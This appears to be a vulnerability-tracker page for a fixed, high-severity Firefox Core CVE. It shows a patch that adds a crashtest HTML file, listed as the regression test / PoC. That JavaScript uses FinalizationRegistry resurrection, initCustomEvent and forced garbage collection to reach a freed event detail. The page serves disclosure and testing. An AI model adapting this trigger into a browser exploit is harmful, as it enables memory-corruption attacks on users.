Firefox · Core
CVE-2026-117904
Logic Error in Core
Overview
High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Changed Functions
| Function | Change | Notes |
|---|---|---|
forxpcom/tests/crashtests/bug-2079059.html |
modified | |
ifxpcom/tests/crashtests/bug-2079059.html |
modified |
Files Changed
xpcom/tests/crashtests/bug-2079059.htmlxpcom/tests/crashtests/crashtests.list
Patch
diff --git a/xpcom/tests/crashtests/bug-2079059.html b/xpcom/tests/crashtests/bug-2079059.html
new file mode 100644
index 00000000000..a074493f732
--- /dev/null
+++ b/xpcom/tests/crashtests/bug-2079059.html
@@ -0,0 +1,48 @@
+<!DOCTYPE html>
+<html class="reftest-wait">
+<head><meta charset="utf-8"></head>
+<body>
+<script>
+function build() {
+ let e = new CustomEvent("x", {});
+ let fr = new FinalizationRegistry(function (held) {
+ globalThis.saved = e;
+ });
+ e.fr = fr;
+ fr.register({}, 1);
+}
+
+function fill(s) {
+ let arr = [];
+ for (let i = 0; i < 120000; i++) {
+ arr.push(new ArrayBuffer(64));
+ }
+ s.initCustomEvent("y", false, false, arr[60000]);
+ FuzzingFunctions.garbageCollect();
+ arr.length = 0;
+}
+
+function later() {
+ try {
+ let s = globalThis.saved;
+ if (!s) {
+ return;
+ }
+ fill(s);
+ FuzzingFunctions.garbageCollect();
+ let d = s.detail;
+ if (d) d.byteLength;
+ } finally {
+ document.documentElement.classList.remove("reftest-wait");
+ }
+}
+
+build();
+try {
+ FuzzingFunctions.garbageCollect();
+ FuzzingFunctions.cycleCollect();
+} catch (e) {}
+setTimeout(later, 100);
+</script>
+</body>
+</html>
diff --git a/xpcom/tests/crashtests/crashtests.list b/xpcom/tests/crashtests/crashtests.list
index 7c1435dedd0..2ea09c32cb0 100644
--- a/xpcom/tests/crashtests/crashtests.list
+++ b/xpcom/tests/crashtests/crashtests.list
@@ -1 +1,2 @@
load bug-1714685.html
+pref(fuzzing.enabled,true) load bug-2079059.html
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/xpcom/tests/crashtests/bug-2079059.html b/xpcom/tests/crashtests/bug-2079059.html
new file mode 100644
index 00000000000..a074493f732
--- /dev/null
+++ b/xpcom/tests/crashtests/bug-2079059.html
@@ -0,0 +1,48 @@
+<!DOCTYPE html>
+<html class="reftest-wait">
+<head><meta charset="utf-8"></head>
+<body>
+<script>
+function build() {
+ let e = new CustomEvent("x", {});
+ let fr = new FinalizationRegistry(function (held) {
+ globalThis.saved = e;
+ });
+ e.fr = fr;
+ fr.register({}, 1);
+}
+
+function fill(s) {
+ let arr = [];
+ for (let i = 0; i < 120000; i++) {
+ arr.push(new ArrayBuffer(64));
+ }
+ s.initCustomEvent("y", false, false, arr[60000]);
+ FuzzingFunctions.garbageCollect();
+ arr.length = 0;
+}
+
+function later() {
+ try {
+ let s = globalThis.saved;
+ if (!s) {
+ return;
+ }
+ fill(s);
+ FuzzingFunctions.garbageCollect();
+ let d = s.detail;
+ if (d) d.byteLength;
+ } finally {
+ document.documentElement.classList.remove("reftest-wait");
+ }
+}
+
+build();
+try {
+ FuzzingFunctions.garbageCollect();
+ FuzzingFunctions.cycleCollect();
+} catch (e) {}
+setTimeout(later, 100);
+</script>
+</body>
+</html>
diff --git a/xpcom/tests/crashtests/crashtests.list b/xpcom/tests/crashtests/crashtests.list
index 7c1435dedd0..2ea09c32cb0 100644
--- a/xpcom/tests/crashtests/crashtests.list
+++ b/xpcom/tests/crashtests/crashtests.list
@@ -1 +1,2 @@
load bug-1714685.html
+pref(fuzzing.enabled,true) load bug-2079059.html
Loading diff…
References
On This Page